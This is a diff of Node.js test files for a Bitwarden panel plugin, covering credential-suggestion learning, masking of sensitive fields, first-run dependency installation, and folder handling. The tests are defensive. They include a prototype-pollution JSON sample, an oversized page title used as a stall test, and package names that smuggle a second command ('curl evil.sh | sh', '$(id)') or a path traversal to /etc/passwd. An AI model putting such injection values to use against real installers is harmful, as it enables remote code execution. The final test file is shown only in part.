Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.length === 0,
`got [${Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.name)}]`)
// Pick the credential once while that window is active.
const ctx = Model.cleanWindowContext(authentikWindow)
assoc = Model.recordAssociation(assoc, ctx, authentikItem.id, "2026-08-20T00:00:00Z")
check("authentik: suggested after one pick",
Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.id).join() === "auth-1",
`got [${Model.findContextualMatches(withAuthentik, authentikWindow, assoc).matches.map(m => m.name)}]`)
// Learning generalises across pages of the same site, which share the word.
check("authentik: generalises to another page of the same site",
Model.findContextualMatches(withAuthentik,
{ class: "chromium", title: "Applications - authentik - Chromium", mapped: true }, assoc)
.matches.map(m => m.id).join() === "auth-1",
"expected the learned item on a sibling page")
check("authentik: does not leak to unrelated sites",
Model.findContextualMatches(withAuthentik,
{ class: "chromium", title: "Netflix - Chromium", mapped: true }, assoc)
.matches.map(m => m.name).join() === "Netflix",
"a learned key must not fire on an unrelated title")
check("isAssociated reports the learned pair", Model.isAssociated(assoc, ctx, "auth-1"), "expected true")
// Last pick wins, so a key learned from the wrong page corrects itself.
const retargeted = Model.recordAssociation(assoc, ctx, "9", "2026-08-21T00:00:00Z")
check("re-picking retargets the key",
Model.findContextualMatches(withAuthentik, authentikWindow, retargeted).matches.map(m => m.id).join() === "9",
"expected the newly picked item to win")
// Explicit unlearn.
const forgotten = Model.forgetAssociation(assoc, ctx, "auth-1")
check("forgetting removes the suggestion",
Model.findContextualMatches(withAuthentik, authentikWindow, forgotten).matches.length === 0,
"expected no suggestions after forgetting")
// A learned item outranks a heuristic match on the same window.
let netflixAssoc = Model.recordAssociation(Model.emptyAssociations(),
Model.cleanWindowContext({ class: "chromium", title: "Netflix - Chromium", mapped: true }), "11")
check("learned item is ranked ahead of a heuristic match",
Model.findContextualMatches(items, { class: "chromium", title: "Netflix - Chromium", mapped: true }, netflixAssoc)
.matches[0].id === "11",
"expected the learned item first")
// Round-tripping through the on-disk format must preserve behaviour.
const roundTripped = Model.parseAssociations(Model.serializeAssociations(assoc))
check("associations survive a save/load round trip",
Model.findContextualMatches(withAuthentik, authentikWindow, roundTripped).matches.map(m => m.id).join() === "auth-1",
"expected the learned item after reload")
check("corrupt association file degrades to empty",
Model.parseAssociations("{{not json").keys && Object.keys(Model.parseAssociations("{{not json").keys).length === 0,
"expected an empty store")
const hostileAssociations = Model.parseAssociations(
'{"version":1,"keys":{"__proto__":{"polluted":true},"arbitrary":{"itemId":"x"},'
+ '"word:valid":{"itemId":"auth-1","weight":1,"count":2,"updated":"2026-08-24T00:00:00Z"}}}')
const copiedHostile = Model.recordAssociation(hostileAssociations, ctx, "auth-1", "2026-12-31T00:00:00Z")
check("association parsing drops keys outside the domain/app/word schema",
!Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "__proto__")
&& !Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "arbitrary")
&& Object.prototype.hasOwnProperty.call(hostileAssociations.keys, "word:valid"),
Object.keys(hostileAssociations.keys).join(","))
check("hostile association keys cannot become the prototype of a copied store",
copiedHostile.keys.polluted === undefined, JSON.stringify(copiedHostile.keys))
check("association entries without a bounded string item id are dropped",
Object.keys(Model.parseAssociations(
'{"version":1,"keys":{"word:bad":{"itemId":{}},"word:good":{"itemId":"x"}}}').keys).join()
=== "word:good",
"invalid item id survived")
check("unknown association schema versions fail closed",
Object.keys(Model.parseAssociations(
'{"version":999,"keys":{"word:old":{"itemId":"x"}}}').keys).length === 0,
"unknown schema was accepted")
// Suggestions must still work with no association store at all.
check("undefined associations are safe",
Model.findContextualMatches(items, { class: "chromium", title: "Netflix - Chromium", mapped: true })
.matches.map(m => m.name).join() === "Netflix",
"expected heuristics to work without a store")
// ---------------------------------------------------------------------------
// A window title is written by the page, not by the user
// ---------------------------------------------------------------------------
//
// Everything below is about one input: document.title, chosen by whatever the
// browser is pointed at, arriving here through hyprctl. It is read on every
// panel open, on the GUI thread, with the whole vault to compare it against.
// The title reaches the matcher clipped, so the per-item work the matcher does
// over it cannot be scaled up by the page.
const longTitle = "verylongword".repeat(6000)
const clippedCtx = Model.cleanWindowContext({ class: "chromium", title: longTitle, mapped: true })
check("a page-chosen title is clipped before matching",
clippedCtx.matchText.length <= Model.MAX_TITLE_CHARS
&& clippedCtx.rawTitle.length <= Model.MAX_TITLE_CHARS,
`matchText=${clippedCtx.matchText.length} rawTitle=${clippedCtx.rawTitle.length}`)
// The host scanner used to be a single unanchored regex, and a long run of
// letters with no dot in it drove it into quadratic backtracking: ~2.5s of
// frozen shell for a 63 kB title, growing with the square of the length.
// hyprctl hands over as much as a megabyte, so this is the honest size.
const hostileTitle = "a".repeat(100000) + " - Chromium"
const hostileWindow = { class: "chromium", title: hostileTitle, mapped: true }
const bigVault = []
for (let i = 0; i < 2000; i++) {
bigVault.push({ id: `big-${i}`, name: `Account ${i}`, uris: [`https://site${i}example.com`] })
}
const started = Date.now()
Model.findContextualMatches(bigVault, hostileWindow, Model.emptyAssociations())
const elapsed = Date.now() - started
check("a hostile window title does not stall the matcher", elapsed < 2000,
`matching a 100 kB title against 2000 items took ${elapsed}ms`)
// Splitting replaced the regex, so prove it still reads the same hosts out.
for (const [text, expected] of [
["Files - Nextcloud - cloud.example.org", "example.org"],
["https://sub.example.co.uk/path", "example.co.uk"],
["see .example.com now", "example.com"],
["a..b.example.com", "example.com"],
["config.json is not a host", null],
["version 1.2.3.4 released", null],
["nothing here at all", null],
]) {
const got = Model.cleanWindowContext({ class: "chromium", title: text, mapped: true })
const base = got && got.detectedDomain ? got.detectedDomain.baseDomain : null
check(`host detection in ${JSON.stringify(text)}`, base === expected,
`expected ${expected}, got ${base}`)
}
// Every word of a title becomes a stored key, and the store is read back
// through a byte cap that turns an oversized file into no file at all. The
// write side has to stay under that cap on its own.
let grown = Model.emptyAssociations()
for (let p = 0; p < 300; p++) {
const words = []
for (let w = 0; w < 80; w++) words.push(`tok${p}x${w}zz`)
grown = Model.recordAssociation(grown,
Model.cleanWindowContext({ class: "chromium", title: words.join(" "), mapped: true }),
"auth-1", `2026-08-${String((p % 28) + 1).padStart(2, "0")}T00:00:00Z`)
}
const grownBytes = Model.serializeAssociations(grown).length
check("the association store stays inside the cap it is read back through",
grownBytes < Model.MAX_ASSOC_BYTES,
`store grew to ${grownBytes} bytes against a ${Model.MAX_ASSOC_BYTES} byte read cap`)
// Trimming must not cost the most recent lesson.
const recentCtx = Model.cleanWindowContext(authentikWindow)
const stillLearned = Model.recordAssociation(grown, recentCtx, "auth-1", "2026-12-31T00:00:00Z")
check("the newest lesson survives trimming",
Model.findContextualMatches(withAuthentik, authentikWindow, stillLearned).matches.map(m => m.id).join() === "auth-1",
"expected the just-learned item to still be suggested")
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,182 @@
#!/usr/bin/env node
// The detail screen draws every labelled, copyable field through DetailField.
// These assertions guard the properties that make a card safe to put on
// screen -- masking, empty-field suppression, and the promise that a copy
// still goes through the panel's one clipboard path.
//
// node tests/detail-field.test.js
const fs = require("fs")
const path = require("path")
const read = f => fs.existsSync(path.join(__dirname, "..", f))
? fs.readFileSync(path.join(__dirname, "..", f), "utf8") : ""
const fieldSrc = read("DetailField.qml")
const panelSrc = read("Panel.qml")
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
check("DetailField exists", fieldSrc !== "", "DetailField.qml is missing")
// --- the component itself ----------------------------------------------------
check("an empty field draws nothing at all",
/visible:\s*root\.value\s*!==\s*""/.test(fieldSrc),
"an identity fills in a handful of its fields; the rest must not leave labelled blanks")
check("a sensitive field is masked until it is revealed",
/masked:\s*root\.sensitive\s*&&\s*!root\.revealed/.test(fieldSrc)
&& /text:\s*root\.masked\s*\?\s*Model\.maskString\(root\.value\)\s*:\s*root\.value/.test(fieldSrc),
fieldSrc)
check("the reveal button appears only on sensitive fields",
/visible:\s*root\.sensitive/.test(fieldSrc), fieldSrc)
check("the component reports intent rather than reaching for the clipboard",
/signal copyRequested\(\)/.test(fieldSrc)
&& /signal revealToggled\(\)/.test(fieldSrc)
&& !/copyToClipboard/.test(fieldSrc),
"DetailField must not know how a copy is performed")
check("field text is pinned to plain text",
/textFormat:\s*Text\.PlainText/.test(fieldSrc), fieldSrc)
check("long values elide rather than pushing the row wider",
/elide:\s*Text\.ElideRight/.test(fieldSrc), fieldSrc)
// --- how the detail screen uses it -------------------------------------------
const uses = panelSrc.match(/DetailField \{[\s\S]*?\n \}/g) || []
check("the detail screen draws its fields through the component",
uses.length >= 14, `found ${uses.length} DetailField uses`)
check("every use routes its copy through the panel's one clipboard path",
uses.every(u => /onCopyRequested:\s*root\.copyToClipboard\(/.test(u)),
uses.filter(u => !/onCopyRequested:\s*root\.copyToClipboard\(/.test(u)).join("\n---\n"))
// A card number, a security code, an SSN, a passport and a licence. Nothing
// here can be rotated after it leaks, which is the argument for masking them
// that a password does not have.
for (const [label, value] of [
["Card Number", "number"],
["Security Code", "code"],
["Social Security Number", "ssn"],
["Passport Number", "passportNumber"],
["Licence Number", "licenseNumber"],
]) {
const use = uses.find(u => u.includes(`label: "${label}"`))
check(`${label} is masked on screen`,
Boolean(use) && /sensitive:\s*true/.test(use),
use || `no DetailField labelled ${label}`)
check(`${label} reads the value the model parsed`,
Boolean(use) && use.includes(value), use || "")
}
// Brand and cardholder are printed on the front of the card in plain sight;
// masking them would be theatre.
for (const label of ["Brand", "Cardholder Name", "Expires"]) {
const use = uses.find(u => u.includes(`label: "${label}"`))
check(`${label} is not needlessly masked`,
Boolean(use) && !/sensitive:\s*true/.test(use), use || `no DetailField labelled ${label}`)
}
// --- reveals are per field ---------------------------------------------------
//
// One shared flag served every masked field to begin with, which was invisible
// while a login had exactly one secret. A card has two and an identity three,
// so revealing a card number also uncovered its security code, and an identity
// showed its social security, passport and licence numbers together.
const revealKeys = uses
.filter(u => /sensitive:\s*true/.test(u))
.map(u => (u.match(/revealed: root\.isFieldRevealed\("([^"]+)"\)/) || [])[1])
check("every masked field has a reveal key", revealKeys.every(Boolean),
JSON.stringify(revealKeys))
check("no two masked fields share a reveal key",
new Set(revealKeys).size === revealKeys.length, JSON.stringify(revealKeys))
check("each toggles only its own key",
uses.filter(u => /sensitive:\s*true/.test(u)).every(u => {
const shown = (u.match(/revealed: root\.isFieldRevealed\("([^"]+)"\)/) || [])[1]
const toggled = (u.match(/onRevealToggled: root\.toggleFieldReveal\("([^"]+)"\)/) || [])[1]
return shown && shown === toggled
}), "a field must reveal and hide the same key")
check("no single shared reveal flag is left",
!/root\.passwordRevealed/.test(panelSrc),
"one flag for every masked field is what caused them to move together")
check("toggling one key leaves the others alone",
/if \(next\[key\]\) delete next\[key\]\s*\n\s*else next\[key\] = true/.test(panelSrc),
"expected a per-key toggle over a copy of the map")
// `v` cannot mean five things at once, so it reaches the one secret the item is
// mostly about and the tooltips only advertise it there.
check("v reaches the item's principal secret only",
/primaryRevealKey:\s*\n?\s*detailIsCard \? "cardNumber" : \(detailIsLoginLike \? "password" : ""\)/.test(panelSrc),
"expected a single primary key per item type")
check("the reveal hint is a property rather than a hardcoded (v)",
/property string revealHint: ""/.test(fieldSrc)
&& !/\+ " \(v\)"/.test(fieldSrc),
"every masked field claimed the v shortcut")
// --- the save does not hold the panel hostage --------------------------------
check("the form closes when the command is launched, not when it returns",
/createItemProc\.running = true[\s\S]{0,400}currentScreen = "main"/.test(panelSrc),
"the user should get the panel back immediately")
check("only one save is in flight at a time",
/if \(pendingSave\) \{[\s\S]{0,140}return\s*\n\s*\}/.test(panelSrc),
"there is one process per kind; a second command would lose the first")
check("a row still being saved cannot be edited",
/if \(item\.pending\) \{[\s\S]{0,120}Still saving/.test(panelSrc),
"editing it would race the save it is waiting on")
check("nor deleted",
/if \(detailItem\.pending \|\| Model\.isPendingItemId\(detailItem\.id\)\)/.test(panelSrc),
"a create has no vault id to delete yet")
check("a refused save puts the list back to what the vault holds",
/items = Model\.replaceItemById\(items, save\.id, save\.previous\)/.test(panelSrc),
"the panel must not keep showing something the vault rejected")
check("and keeps what the user typed so it can be reopened",
/failedSave = \{ name: save\.name, form: save\.form \}/.test(panelSrc)
&& /function reopenFailedSave\(\)/.test(panelSrc),
"a refused save must not cost the user their edit")
check("a save that lands but cannot be sanitised drops its provisional row",
/if \(save && save\.isCreate\) items = Model\.replaceItemById\(items, save\.id, null\)/.test(panelSrc),
"a provisional row must not survive the reload that replaces it")
check("the saving row is marked in the list",
/text: itemData\.pending \? "[^"]*" : Model\.itemTypeGlyph/.test(panelSrc),
"the user needs to see which row has not landed yet")
// --- gating ------------------------------------------------------------------
check("login fields are gated on the type, not on 'not an SSH key'",
/readonly property bool detailIsLoginLike: detailTypeCode === 1 \|\| detailTypeCode === 2/.test(panelSrc)
&& !/typeCode !== 5 && \(root\.detailPassword/.test(panelSrc),
"a card answers 'not an SSH key' too, and would draw an empty password row")
check("card fields are drawn only for cards, identity fields only for identities",
(panelSrc.match(/visible: root\.detailIsCard/g) || []).length >= 5
&& (panelSrc.match(/visible: root\.detailIsIdentity/g) || []).length >= 8,
"each block must gate on its own type")
check("an address is one copyable block, not seven rows",
/detailIdentityAddress/.test(panelSrc)
&& /tooltipText: "Copy address"/.test(panelSrc),
"an address is copied as an address")
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,266 @@
#!/usr/bin/env node
// Tests for the first run: the state a machine is in the moment
// `omarchy plugin add ... --enable` finishes and before `bw` exists.
//
// The plugin is installed and enabled before the CLI it drives necessarily
// does -- `omarchy plugin add` installs the plugin and nothing else -- so the
// panel has to open on the setup screen, install what is missing from inside
// itself, and pick the vault up on its own once the install lands. None of
// that is reachable on a developer machine where everything is already there,
// which is exactly why it is pinned here.
//
// node tests/first-run.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseDependencies = parseDependencies
exports.missingRequired = missingRequired
exports.setupGateActive = setupGateActive
exports.dependencyProbeOutcome = dependencyProbeOutcome
exports.missingPackages = missingPackages
exports.installPackagesCommand = installPackagesCommand
exports.fingerprintSetupCommand = fingerprintSetupCommand
exports.applicableDependencies = applicableDependencies
exports.dependencyCheckCommand = dependencyCheckCommand
exports.DEPENDENCIES = DEPENDENCIES
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const bodyOf = name => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start < 0) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
// A machine that has just installed the plugin and nothing else. The probe
// still answers for tools that are no longer on the wizard's list -- Omarchy
// ships those -- and parseDependencies must ignore what it was not asked
// about rather than inventing rows for it.
const FRESH = Model.parseDependencies(
"bw=0\nbw_version=\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
// The same machine after one trip through the setup screen's install button.
const INSTALLED = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1")
// Required tools only. The optional ones stay absent, and must not gate.
const MINIMAL = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=0\nsecrettool=0\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
// Omarchy's own base packages. The wizard must never ask for one of these: a
// first-run screen whose rows are green on every machine that can run this
// plugin buries the single row that is not.
const OMARCHY_BASE = ["wl-clipboard", "libsecret", "hyprland", "glib2", "systemd", "openssl"]
// --- the gate ---------------------------------------------------------------
// Nothing is decided before the probe has actually run: a panel that gated on
// its own empty starting state would flash the setup screen on every launch.
check("gate: nothing is decided before the probe reports",
Model.setupGateActive(FRESH, false, false) === false,
"an unchecked dependency set closed the gate")
check("gate: a missing required tool closes the gate",
Model.setupGateActive(FRESH, true, false) === true,
"bw absent did not close the gate")
check("gate: the user can always step past it",
Model.setupGateActive(FRESH, true, true) === false,
"dismissing setup left the gate closed")
check("gate: missing optional tools do not close it",
Model.setupGateActive(MINIMAL, true, false) === false,
`gated on optional tools: [${Model.missingRequired(MINIMAL).map(d => d.key)}]`)
check("gate: opens once everything is installed",
Model.setupGateActive(INSTALLED, true, false) === false,
"a fully installed machine was still gated")
// --- the first-run sequence -------------------------------------------------
// Walked in order, because the bug this guards against is an ordering one: the
// panel probing `bw` before it knows whether `bw` exists lands the user on a
// login form that cannot succeed.
let probeStarted = false
let wasGated = false
const step = (deps, dismissed) => {
if (Model.missingRequired(deps).length > 0) wasGated = true
const outcome = Model.dependencyProbeOutcome(deps, dismissed, probeStarted, wasGated)
if (outcome === "probe") {
probeStarted = true
wasGated = false
}
return outcome
}
check("first run: opens on setup rather than probing the vault",
step(FRESH, false) === "setup",
"a fresh machine did not land on setup")
check("first run: refreshStatus waits for the dependency answer before invoking bw",
/if\s*\(!depsChecked\)\s*\{[\s\S]{0,100}checkDependencies\(\)[\s\S]{0,40}return/.test(bodyOf("refreshStatus")),
bodyOf("refreshStatus"))
check("first run: still setup while the install runs",
step(FRESH, false) === "setup",
"a re-probe with bw still absent moved off setup")
check("first run: the install landing sends it to the vault unprompted",
step(INSTALLED, false) === "probe",
"bw appearing did not trigger the status probe")
check("first run: settled, so a routine re-probe asks bw nothing",
step(INSTALLED, false) === "idle",
"a routine dependency check re-probed the vault")
// --- an already-set-up machine ----------------------------------------------
probeStarted = false
wasGated = false
check("normal launch: the first probe goes straight to the vault",
step(INSTALLED, false) === "probe",
"a machine with everything installed did not probe on launch")
check("normal launch: later probes stay quiet",
step(INSTALLED, false) === "idle",
"a settled machine kept re-probing")
// --- carrying on without the CLI --------------------------------------------
// "Continue anyway" is the panel's own escape hatch. Having taken it, the user
// must not be dragged back to setup, and the panel must not spend a `bw`
// round trip on every dependency check it happens to run.
probeStarted = true
wasGated = false
check("dismissed: a missing tool no longer forces setup",
step(FRESH, true) === "idle",
"setup reappeared after being dismissed")
check("dismissed: still no repeated vault probes while the tool is missing",
step(FRESH, true) === "idle",
"a dismissed gate probed the vault on every dependency check")
check("dismissed: an install landing later is still picked up",
step(INSTALLED, true) === "probe",
"installing after dismissing setup never reached the vault")
// --- what the install button asks for ---------------------------------------
const fresh = Model.missingPackages(FRESH)
check("install: asks for the tools it can install, and only those",
fresh.join(" ") === "bitwarden-cli jq",
`got [${fresh}]`)
check("install: never asks for a package Omarchy already ships",
Model.DEPENDENCIES.every(d => OMARCHY_BASE.indexOf(d.pkg) === -1),
`wizard lists [${Model.DEPENDENCIES.map(d => d.pkg).filter(p => OMARCHY_BASE.indexOf(p) !== -1)}]`)
check("install: the one thing an Omarchy machine can genuinely lack is still required",
Model.DEPENDENCIES.some(d => d.pkg === "bitwarden-cli" && d.required),
`wizard lists [${Model.DEPENDENCIES.map(d => d.pkg)}]`)
check("install: asks for nothing when nothing is missing",
Model.missingPackages(INSTALLED).length === 0,
`got [${Model.missingPackages(INSTALLED)}]`)
check("install: a package shared by two tools is only asked for once",
new Set(fresh).size === fresh.length,
`got [${fresh}]`)
// Omarchy already owns "install these packages where the user can watch it":
// a floating, centred, themed terminal with the logo, the pacman output and a
// keypress to close. Rolling our own terminal invocation would have to pick a
// terminal, invent the wait-for-keypress, and still look like nothing else on
// the system.
const cmd = Model.installPackagesCommand(fresh, "Bitwarden CLI")
check("install: goes through Omarchy's floating-terminal installer",
cmd.slice(0, 3).join(" ") === "omarchy install app",
cmd.join(" "))
check("install: names what is being installed, and asks for exactly the packages",
cmd[3] === "Bitwarden CLI" && cmd[4] === fresh.join(" "),
cmd.join(" "))
check("install: no shell of our own to quote for",
cmd.every(a => typeof a === "string") && cmd.indexOf("-c") === -1,
cmd.join(" "))
// omarchy-install-app expands the package list unquoted -- that is how it
// takes more than one package -- so the guard has to be on this side.
check("install: refuses anything that is not a plain package name",
Model.installPackagesCommand(["bitwarden-cli; curl evil.sh | sh"]) === null
&& Model.installPackagesCommand(["$(id)"]) === null
&& Model.installPackagesCommand(["../../etc/passwd"]) === null,
"a crafted package name produced a command")
// --- fingerprint belongs to Omarchy -----------------------------------------
// `omarchy setup security fingerprint` detects the reader, installs
// libfprint/fprintd/usbutils, enrols a finger, verifies it, and only then
// writes /etc/pam.d/omarchy-lock-fingerprint -- which is the file this
// plugin's own readiness check looks for. A bare `pkg add fprintd` produces
// none of that, so the row must never take that door.
check("fingerprint: the row is a setup row, not a package row",
Model.DEPENDENCIES.find(d => d.key === "fprintd").setup === true,
"fprintd is still presented as an ordinary package install")
check("fingerprint: never reaches the package installer",
Model.missingPackages(Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")).length === 0,
"fprintd was handed to omarchy install app")
const fp = Model.fingerprintSetupCommand()
check("fingerprint: runs Omarchy's own setup in the floating terminal",
fp.join(" ") === "omarchy launch floating terminal with presentation omarchy setup security fingerprint",
fp.join(" "))
// --- hardware the machine does not have -------------------------------------
const NO_READER = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=0\nomarchy=1")
const WITH_READER = Model.parseDependencies(
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")
check("reader: a desktop with no reader is not shown a fingerprint row",
Model.applicableDependencies(NO_READER).every(d => d.key !== "fprintd"),
`rows: [${Model.applicableDependencies(NO_READER).map(d => d.key)}]`)
check("reader: a laptop with one is",
Model.applicableDependencies(WITH_READER).some(d => d.key === "fprintd"),
`rows: [${Model.applicableDependencies(WITH_READER).map(d => d.key)}]`)
check("reader: the row is still in items either way, for the settings screen",
NO_READER.items.some(d => d.key === "fprintd"),
"dropping the row from items would break settingBlocked()")
check("reader: no reader never gates the panel",
Model.setupGateActive(NO_READER, true, false) === false,
"a machine with no fingerprint reader was held on setup")
// Detection comes from Omarchy's own sysfs scan, which answers before fprintd
// or usbutils are installed -- which is precisely when the wizard has to
// decide whether to draw the row.
check("reader: detection uses omarchy-hw-fingerprint, in the same one probe",
Model.dependencyCheckCommand()[2].includes("omarchy-hw-fingerprint")
&& Model.dependencyCheckCommand().length === 3,
Model.dependencyCheckCommand()[2])
check("install: nothing to install produces no command at all",
Model.installPackagesCommand(Model.missingPackages(INSTALLED)) === null,
"an empty package list still produced a command")
// The setup screen's copy is the first thing a new user reads, and it is the
// only place the plugin explains that it does not bundle these tools. A
// requirement described as fatal reads as "you installed this too early".
const bw = Model.DEPENDENCIES.find(d => d.key === "bw")
check("copy: the required tools are presented as installable, not as a wall",
bw.required === true && !/nothing works/i.test(bw.purpose),
bw.purpose)
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.log("\n" + failures.map(f => ` FAIL ${f}`).join("\n"))
process.exit(1)
}
@@ -0,0 +1,129 @@
#!/usr/bin/env node
// Tests for folder parsing, filtering and payload assignment.
//
// node tests/folders.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseFolders = parseFolders
exports.folderName = folderName
exports.filterItems = filterItems
exports.parseItems = parseItems
exports.parseItemDetail = parseItemDetail
exports.buildCreatePayload = buildCreatePayload
exports.buildEditPayload = buildEditPayload
exports.listFoldersCommand = listFoldersCommand
exports.createFolderCommand = createFolderCommand
exports.folderPayload = folderPayload
exports.folderEnvVar = folderEnvVar
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// --- parsing ---
const folders = Model.parseFolders(JSON.stringify([
{ id: "b", name: "Work", object: "folder" },
{ id: null, name: "No Folder", object: "folder" },
{ id: "a", name: "apps", object: "folder" },
]))
check("folders are sorted case-insensitively",
folders.map(f => f.name).join(",") === "apps,Work", folders.map(f => f.name).join(","))
check("bw's null-id 'No Folder' entry is dropped (the panel has its own control)",
folders.length === 2 && folders.every(f => f.id), JSON.stringify(folders))
check("malformed folder JSON yields an empty list",
Model.parseFolders("{{").length === 0 && Model.parseFolders("").length === 0, "expected []")
check("folderName resolves a known id", Model.folderName(folders, "b") === "Work", Model.folderName(folders, "b"))
check("folderName is empty for an unknown or absent id",
Model.folderName(folders, "zzz") === "" && Model.folderName(folders, null) === "", "expected empty")
// --- items carry folderId ---
const items = Model.parseItems(JSON.stringify([
{ id: "1", name: "In folder", type: 1, folderId: "a", login: {} },
{ id: "2", name: "Unfiled", type: 1, folderId: null, login: {} },
{ id: "3", name: "Other folder", type: 1, folderId: "b", login: {} },
]))
check("parseItems exposes folderId",
items.find(i => i.id === "1").folderId === "a" && items.find(i => i.id === "2").folderId === null,
JSON.stringify(items.map(i => [i.id, i.folderId])))
check("parseItemDetail exposes folderId",
Model.parseItemDetail(JSON.stringify({ id: "1", name: "x", type: 1, folderId: "a", login: {} })).folderId === "a",
"expected 'a'")
// --- filtering ---
const ids = f => Model.filterItems(items, "", "all", "all", f).map(i => i.id).sort().join(",")
check('folder "all" returns everything', ids("all") === "1,2,3", ids("all"))
check('folder "none" returns only unfiled items', ids("none") === "2", ids("none"))
check("a folder id returns only that folder", ids("a") === "1", ids("a"))
// Existing callers pass four arguments; folders must not break them.
check("omitting the folder argument behaves as 'all'",
Model.filterItems(items, "", "all", "all").map(i => i.id).sort().join(",") === "1,2,3",
"regression: existing four-arg calls changed behaviour")
check("folder filter composes with search",
Model.filterItems(items, "unfiled", "all", "all", "none").map(i => i.id).join(",") === "2",
"expected only item 2")
// --- payloads ---
check("create assigns the chosen folder",
Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, "a").folderId === "a", "expected 'a'")
for (const v of ["", null, "all", "none", undefined]) {
check(`create maps ${JSON.stringify(v)} to no folder`,
Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, v).folderId === null,
JSON.stringify(Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, v).folderId))
}
// Editing must be able to clear an assignment, not only set one.
const existing = { rawObject: { id: "1", name: "x", type: 1, folderId: "a", login: {} } }
check("edit can move an item to another folder",
Model.buildEditPayload(existing, "x", "", "", "", "", "", false, null, "b").folderId === "b", "expected 'b'")
check("edit can clear an existing folder assignment",
Model.buildEditPayload(existing, "x", "", "", "", "", "", false, null, "").folderId === null, "expected null")
// --- commands ---
// The session goes in BW_SESSION, never argv -- /proc/<pid>/cmdline is
// world-readable and the token unlocks the vault.
check("list folders carries no session on the command line and caps output",
Model.listFoldersCommand().join(" ").includes("bw list folders")
&& Model.listFoldersCommand().join(" ").includes("head -c")
&& !Model.listFoldersCommand().join(" ").includes("--session"),
Model.listFoldersCommand().join(" "))
const folderName = "it's \"private\""
check("folder names are serialized for the private environment payload",
JSON.parse(Model.folderPayload(folderName)).name === folderName,
Model.folderPayload(folderName))
check("folder names never enter the command line",
Model.createFolderCommand().join(" ").includes('"$' + Model.folderEnvVar() + '"')
&& !Model.createFolderCommand().join(" ").includes(folderName),
Model.createFolderCommand().join(" "))
check("the folder writer receives its payload through the private environment binding",
/function folderEnv\(\)[\s\S]{0,180}Model\.folderEnvVar\(\)[\s\S]{0,180}Model\.folderPayload\(newFolderName\)/.test(panelSrc)
&& /id:\s*createFolderProc[\s\S]{0,100}environment:\s*root\.folderEnv\(\)/.test(panelSrc),
"createFolderProc is not bound to folderEnv()")
// --- the collapsed filter buttons ---
// Each button names its own keyboard shortcut in its tooltip, and the key that
// actually opens the drawer lives in runShortcut(). Two places, so they can
// disagree -- and a tooltip promising a key that does nothing is worse than no
// tooltip. Pin them to each other.
const filterButtons = [...panelSrc.matchAll(
/VaultFilterButton\s*\{[\s\S]*?group:\s*"([a-z]+)"[\s\S]*?shortcut:\s*"([a-z])"/g)]
.map(m => ({ group: m[1], shortcut: m[2] }))
check("all three vault filter buttons are declared",
filterButtons.length === 3, JSON.stringify(filterButtons))
for (const { group, shortcut } of filterButtons) {
const dispatch = new RegExp(`case "${shortcut}":\\s*toggleFilterGroup\\("${group}"\\)`)
check(`the "${shortcut}" in the ${group} filter tooltip is the key that opens it`,
dispatch.test(panelSrc), `no runShortcut case pairing "${shortcut}" with "${group}"`)
}
// The label is the vault value alone now, so the group name survives only in
// the tooltip -- which is the one place still telling you what you are looking at.
check("each filter button still names its group somewhere the user can reach",
/tooltipText: Model\.plainLabel\(name \+ " filter \(" \+ shortcut \+ "\): " \+ value\)/.test(panelSrc),
"the filter tooltip no longer carries the group name and value")
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,252 @@
#!/usr/bin/env node
// Tests for the generator's option handling. Generation itself is `bw generate`;
// what is worth testing is that we never hand it a combination it rejects.
//
// node tests/generator.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
